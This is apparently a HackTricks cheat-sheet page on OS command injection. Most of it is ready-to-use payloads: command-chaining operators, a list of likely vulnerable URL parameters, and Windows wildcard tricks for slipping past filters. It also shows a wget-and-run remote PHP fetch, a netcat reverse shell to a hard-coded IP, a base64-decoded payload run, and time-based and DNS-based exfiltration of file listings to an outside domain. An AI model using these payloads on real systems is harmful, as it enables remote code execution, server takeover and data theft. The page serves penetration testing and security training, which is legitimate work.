7.9 KiB
Command Injection
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What is command Injection?
OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From here).
Context
Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limition Bypasses
If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
Examples
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parameters
Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
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Time based data exfiltration
Extracting data: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
References
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
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- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
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Get Access Today:
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